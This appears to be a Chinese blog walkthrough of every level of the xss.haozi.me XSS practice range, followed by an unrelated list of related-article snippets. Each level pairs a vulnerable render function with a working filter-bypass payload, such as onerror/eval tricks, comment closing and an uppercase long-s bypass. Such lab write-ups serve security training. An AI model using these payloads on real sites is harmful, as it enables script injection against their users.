从 0 到 1 玩转 XSS - haozi 靶场:环境搭建 + 全关卡漏洞解析

文章目录

  • 前言
  • 靶场地址
  • 0X00 直接注入
  • 0X01 闭合标签1
  • 0X02 闭合标签2
  • 0X03 绕过特殊符号1
  • 0X04 绕过特殊符号2
  • 0X05 绕过注释符
  • 0X06 绕过更多符号
  • 0X07 绕过更多符号2
  • 0X08 绕过闭合符号
  • 0X09 绕过URL匹配
  • 0X0A 绕过URL过滤
  • 0X0B 绕过大写转换1
  • 0X0C 绕过大写转换2
  • 0X0D 绕过注释
  • 0X0E 古英语绕过
  • 0X0F JS闭合1
  • 0X10 注入window.data
  • 0X11 JS闭合2
  • 0X12 JS闭合3

前言

在网页安全的战场里,跨站脚本攻击(XSS)就像隐藏在代码海洋中的暗礁 —— 它可能藏在一个看似无害的输入框里,潜伏在一段被精心构造的评论中,甚至伪装成一条正常的 URL。

而 “xss.haozi.me” 的靶场,正是为你还原这场攻防博弈的绝佳训练场。

从最直白的标签注入,到绕过敏感字符过滤的奇思妙想;从利用浏览器特性的巧妙 trick,到玩转编码与转义的底层逻辑。

这里的每一关,都是现实中 XSS 漏洞的缩影,每一个 payload 的背后,都藏着对网页渲染机制的深刻理解。

靶场地址

https://xss.haozi.me/#/

操作步骤:
在这里插入图片描述

0X00 直接注入

条件:

function render (input) {return '<div>' + input + '</div>'
}

前端:

<div></div>

注入:div内嵌脚本会被运行。

<script>alert(1)</script>

0X01 闭合标签1

条件:

function render (input) {return '<textarea>' + input + '</textarea>'
}

前端:

<textarea></textarea>

注入:textarea内嵌脚本不会运行,但可以先闭合textarea标签。

</textarea><script>alert(1)</script>

0X02 闭合标签2

条件:

function render (input) {return '<input type="name" value="' + input + '">'
}

前端:

<input type="name" value="">

注入:先闭合标签。

">'<script>alert(1)</script>

0X03 绕过特殊符号1

条件:

function render (input) {const stripBracketsRe = /[()]/ginput = input.replace(stripBracketsRe, '')return input
}

前端:

<!--空-->

注入:使用ES6语法 ` 绕过。

<object
data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiMSIpPC9zY3JpcHQ+">
</object>
<!-- ES6语法 `` -->
<script>alert`1`</script>

0X04 绕过特殊符号2

条件:

function render (input) {const stripBracketsRe = /[()`]/ginput = input.replace(stripBracketsRe, '')return input
}

前端:

<!--空-->

注入:

  • \x 开头表示十六进制编码,281表示 ( ,29表示 ),\x281\x29 表示 (1)
  • eval 在 js 中执行表达式,例如:eval(‘alert\x281\x29’) 等同于 alert(1)
  • window.onerror 在js错误时调用函数,此处 eval 是调用的函数。
  • throw 表示自定义程序异常时被捕获的内容
<script>window.onerror=eval;throw'=alert\x281\x29'</script>

0X05 绕过注释符

条件:

function render (input) {input = input.replace(/-->/g, '😂')return '<!-- ' + input + ' -->'
}

前端:

<!--空-->

注入:--!> 效果等同 --> ,可以绕过。

--!><script>alert(1)</script>

0X06 绕过更多符号

条件:

function render (input) {input = input.replace(/auto|on.*=|>/ig, '_')return `<input value=1 ${input} type="text">`
}

前端:

<input value=1  type="text">

注入:

  • 利用 input 的 type="image" src="xxx" 的属性。
  • 使用 onerror 标签触发后面的脚本。
  • onerror 后面换行接 =,绕过 on.*=
type=image src onerror
=alert(1)

0X07 绕过更多符号2

条件:

function render (input) {const stripTagsRe = /<\/?[^>]+>/giinput = input.replace(stripTagsRe, '')return `<article>${input}</article>`
}

前端:

<article></article>

注入:选择没有 > 的标签注入。

<IMG SRC='' onerror=alert(1) // 末尾带一个空格

0X08 绕过闭合符号

条件:

function render (src) {src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')return `<style>${src}</style>`
}

前端:

<style></style>

注入:换行绕过 </style> 符号。

</style
><img src='' onerror=alert(1)>

0X09 绕过URL匹配

条件:

function render (input) {let domainRe = /^https?:\/\/www\.segmentfault\.com/if (domainRe.test(input)) {return `<script src="${input}"></script>`
}return 'Invalid URL'
}

前端:

<!--空-->

注入:onload 表示加载完成后执行一段脚本。

https://www.segmentfault.com" onload=alert(1)>

0X0A 绕过URL过滤

条件:

function render (input) {function escapeHtml(s) {return s.replace(/&/g, '&').replace(/'/g, ''').replace(/"/g, '"').replace(/</g, '<').replace(/>/g, '>').replace(/\//g, '/')
}const domainRe = /^https?:\/\/www\.segmentfault\.com/if (domainRe.test(input)) {return `<script src="${escapeHtml(input)}"></script>`
}return 'Invalid URL'
}

注入:浏览器会解析URL中@后面的网址。(目前仅firefox浏览器可以触发)

https://www.segmentfault.com@xss.haozi.me/j.js

0X0B 绕过大写转换1

条件:

function render (input) {input = input.toUpperCase()return `<h1>${input}</h1>`
}

前端:

<h1></h1>

注入:对 js 使用 html 编码绕过大写转换,js 在 html 代码中,会先进行 html 解码。

<img src="1" onerror="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;">

0X0C 绕过大写转换2

条件:

function render (input) {input = input.replace(/script/ig, '')input = input.toUpperCase()return '<h1>' + input + '</h1>'
}

前端:

<h1></h1>

注入:过滤了script标签,使用报错弹窗,代码同0X0A。

<img src="1" onerror="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;">

0X0D 绕过注释

条件:替换了单双引号,并且输入内容到注释中。

function render (input) {input = input.replace(/[</"']/g, '')return `<script>// alert('${input}')</script>`
}

前端:

<script>// alert('')</script>html

注入:开头换行,结尾注释掉后面引号。

1
alert(1)
-->

0X0E 古英语绕过

条件:过滤了所有 < 与字母的组合。

function render (input) {input = input.replace(/<([a-zA-Z])/g, '<_$1')input = input.toUpperCase()return '<h1>' + input + '</h1>'
}

前端:

<h1></h1>

注入:但是ſ是古英语,大写后为S,且其 ascii 值不与 s 相等,因此可以绕过。

<ſcript src="https://xss.haozi.me/j.js"></script>

0X0F JS闭合1

条件:先转义html字符,再进行替换过滤。

function render (input) {function escapeHtml(s) {return s.replace(/&/g, '&').replace(/'/g, ''').replace(/"/g, '"').replace(/</g, '<').replace(/>/g, '>').replace(/\//g, '/')
}return `<img src
onerror="console.error('${escapeHtml(input)}')">`
}

前端:

<img src onerror="console.error('')">

注入: ') 闭合前面内容, ; 结束console语句, \\注释后面内容。

');alert(1)//

0X10 注入window.data

条件:

function render (input) {return `
<script>window.data = ${input}
</script>`
}

前端:

<script>window.data =
</script>

注入:window.data 在 js 脚本中直接注入。

alert(1)

0X11 JS闭合2

条件:添加了很多转义。

// from alf.nu
function render (s) {function escapeJs (s) {return String(s).replace(/\\/g, '\\\\').replace(/'/g, '\\\'').replace(/"/g, '\\"').replace(/`/g, '\\`').replace(/</g, '\\74').replace(/>/g, '\\76').replace(/\//g, '\\/').replace(/\n/g, '\\n').replace(/\r/g, '\\r').replace(/\t/g, '\\t').replace(/\f/g, '\\f').replace(/\v/g, '\\v')// .replace(/\b/g, '\\b').replace(/\0/g, '\\0')
}s = escapeJs(s)return `
<script>var url = 'javascript:console.log("${s}")'var a = document.createElement('a')a.href = urldocument.body.appendChild(a)a.click()</script>
`
}

前端:

<script>var url = 'javascript:console.log("")'var a = document.createElement('a')a.href = urldocument.body.appendChild(a)a.click()
</script>

注入:方法同 0X0F 题目,闭合前面,注释掉后面。

");alert(1)//

0X12 JS闭合3

条件:替换斜杠为反斜杠。

// from alf.nu
function escape (s) {s = s.replace(/"/g, '\\"')return '<script>console.log("' + s + '");</script>'
}

前端:

<script>console.log("");</script>

注入:js \ 用来指定正则表达式,添加 \ 将反斜杠关闭。

\");alert(1)//

本文内容仅用于 Web 安全技术学习与授权测试环境验证,严禁将相关技术用于未授权的系统或网络环境。违反《网络安全法》等法律法规的行为将自行承担法律责任。xss_haozi 靶场为开源安全测试平台,使用时需确保环境隔离。


本文是「安全靶场」系列的第 4 篇,点击专栏导航查看全部系列内容。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/diannao/91876.shtml
繁体地址,请注明出处:http://hk.pswp.cn/diannao/91876.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

TF卡格式化

cmd 输入diskpart,在新打开的窗口输入list disk&#xff0c;然后select disk [磁盘号]&#xff0c;clean&#xff0c;回车变成未分区的。再选中磁盘&#xff0c;选中之后create partition [分区名] 回车&#xff0c;list partition&#xff0c;查看分区&#xff0c;输入active&…

Python爬虫实战:研究sqlparse库相关技术

1. 引言 1.1 研究背景与意义 在当今数据驱动的时代,SQL 作为关系型数据库的标准查询语言,被广泛应用于各种数据处理和分析场景。随着数据库应用的不断发展,SQL 代码的规模和复杂度也在不断增加,这给 SQL 代码的编写、维护和优化带来了挑战。 研究表明,低效的 SQL 查询是…

全球天气预报5天(经纬度版)免费API接口教程

本文全面介绍由接口盒子免费API提供的全球天气预报API&#xff0c;支持通过经纬度坐标获取任意地区未来5天的详细天气预报数据。 一、接口核心功能 ​全球覆盖​&#xff1a;支持全球任意经纬度坐标点的天气预报​高精度预报​&#xff1a;提供每3小时为间隔的精细化预报&…

5 基于STM32单片机的绝缘检测系统设计(STM32代码编写+手机APP设计+PCB设计+Proteus仿真)

系列文章目录 文章目录 系列文章目录前言1 1 资料获取与演示视频1.1 资料介绍1.2 资料获取1.3 演示视频 2 系统框架3 硬件3.1 主控制器3.2 显示屏3.3 WIFI模块3.4 DHT11温湿度传感器3.5 可调电位器 4 设计PCB4.1 安装下载立创EDA专业版4.2 画原理图4.3 摆放元器件&#xff0c;设…

CPP学习之list使用及模拟实现

一、list简介及用法 1. list简介 list是可以在常数范围内任意位置进行插入、删除、修改操作的有顺序性的容器&#xff0c;而且支持双向迭代&#xff0c;其底层是双链表结构&#xff0c;逻辑上连续但物理空间上不连续&#xff0c;只能通过指针来进行元素访问&#xff0c;无法使用…

Spring Boot 参数校验:@Valid 与 @Validated

在日常开发中&#xff0c;参数校验是保障接口健壮性与数据安全的第一道防线。Spring Boot 为我们提供了基于 JSR-303/JSR-380 的强大校验机制&#xff0c;通过注解与 AOP 实现了灵活且高效的数据校验方式。本篇博客将详细介绍 Spring Boot 中 Valid、Validated 注解的使用方法&…

linux看门狗重启定位思路总结

1&#xff0c;看门狗定位思路&#xff08;1&#xff09;是否是死锁导致查看日志查看是否有RCU install或者deadlock相关打印&#xff0c;如果有的话可以考虑使用lockdep死锁检测工具&#xff08;2&#xff09;中断风暴查看中断&#xff0c;抓中断打印&#xff0c;可以查看/proc…

基于单片机直流电机测速中文液晶显示设计

摘 要 在现在工业自动化高度发展的时期&#xff0c;几乎所有的工业设备都离不开旋转设备&#xff0c;形形色色的电机在不同领域发挥着很重要的作用。不同场合对电机控制要求是不同的&#xff0c;但大部分都会涉及到旋转设备的转速测量&#xff0c;从而利用转速来实施对旋转设备…

c# sqlsugar 主子表明细 查询

在使用 SqlSugar ORM 进行数据库操作时&#xff0c;特别是在处理主子表关系时&#xff0c;通常需要执行关联查询来获取主表和其子表的数据。SqlSugar 提供了强大的查询能力&#xff0c;支持多种方式的关联查询&#xff0c;包括左连接&#xff08;Left Join&#xff09;、内连接…

研华PCI-1285/1285E 系列------(一概述)

PCI-1285/1285E 系列是基于 DSP 的 SoftMotion PCI 总线控制器卡,专为各种电机自动 化和其它机器自动化的广泛应用设计。板卡配有高性能 DSP,其中包括 SoftMotion算法,能够实现运动轨迹和时间控制,以满足精确运动中的同步应用需求。 研华 SoftMotion 支持以下特性:龙门…

二代身份证识别技术的发展:从机器学习到深度学习

一、技术发展历程1. 传统机器学习时代&#xff08;2000-2012&#xff09;特征工程方法&#xff1a;主要依赖手工设计的特征&#xff08;HOG、SIFT、LBP等&#xff09;分类器技术&#xff1a;支持向量机(SVM)、随机森林、AdaBoost等OCR技术&#xff1a;基于模板匹配和连通区域分…

云服务器如何设置防火墙和安全组规则?

一、安全组&#xff08;Security Group&#xff09;设置安全组是云平台提供的虚拟防火墙&#xff0c;用于控制 入站&#xff08;Ingress&#xff09;和出站&#xff08;Egress&#xff09;流量。1. 基本安全组规则&#xff08;推荐&#xff09;协议端口源IP用途是否必需TCP22你…

排序【各种题型+对应LeetCode习题练习】

目录 常用排序 快速排序 LeetCode 912 排序数组 归并排序 LeetCode 912 排序数组 常用排序 名称排序方式时间复杂度是否稳定快速排序分治O(n log n)否归并排序分治O(n log n)是冒泡排序交换O(n)是插入排序插入O(n)是选择排序选择最值O(n)否C STL sort快排内省排序O(n log…

鸿蒙与web混合开发双向通信

鸿蒙与web混合开发双向通信用runJavaScript和registerJavaScriptProxy web entry/src/main/resources/rawfile/1.html <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content&q…

unity Physics.RaycastNonAlloc

Physics.RaycastNonAlloc 是 Unity 中用于 3D 物理射线检测的高性能方法&#xff0c;它是 Physics.Raycast 的非分配版本。 方法签名 public static int RaycastNonAlloc(Ray ray, RaycastHit[] results, float maxDistance Mathf.Infinity, int layerMask DefaultRaycastLay…

数据库(five day finally)——物物而不物于物,念念而不念于念。(数据库到此结束!祝世间美好与各位不期而遇,善意常伴汝身!)

1.子查询&#xff08;1&#xff09;where 子查询①多行单列配合in和not in操作&#xff08;类似于数据范围查询&#xff09;例&#xff1a;显示工资与各个经理相同的雇员信息&#xff08;包含经理本身&#xff09;。select * from empwhere sal(select sal from emp where jobM…

【甲烷数据集】Sentinel-5P 卫星获取的全球甲烷数据集-TROPOMI L2 CH₄

目录 数据概述 传感器 & 卫星信息 监测目标:甲烷(CH₄) 数据产品内容 空间与时间覆盖 云筛选与协同观测 技术文档资源 数据下载 Python 代码绘制 CH4 数据 参考 数据概述 Sentinel-5 Precursor Level 2 Methane (TROPOMI L2 CH₄) 数据集是由欧洲哥白尼计划的 Sentinel…

【数据结构】单链表练习(有环)

1.判断是否是环形链表 141. 环形链表 - 力扣&#xff08;LeetCode&#xff09; bool hasCycle(struct ListNode *head) {struct ListNode *fast,*slow;fastslowhead;while(fast&&fast->next){fastfast->next->next;slowslow->next;if(fastslow)return tr…

VR 污水厂初体验:颠覆传统认知​

第一次戴上 VR 设备走进 VR 污水厂时&#xff0c;那种震撼的感觉至今难以忘怀。仿佛一瞬间&#xff0c;我被传送到了一个全新的世界&#xff0c;平日里只能在图纸或实地看到的污水厂&#xff0c;此刻就立体地呈现在眼前。脚下是纵横交错的管道&#xff0c;头顶巨大的处理设备有…

父类 div 自适应高度 子类如何撑满其高度

使用绝对定位 如果你想要子元素完全撑满父元素的高度&#xff0c;可以使用绝对定位。这种方法适用于当子元素需要完全覆盖父元素时。<div class"parent"><div class"child"><!-- 子类内容 --></div> </div>.parent {positio…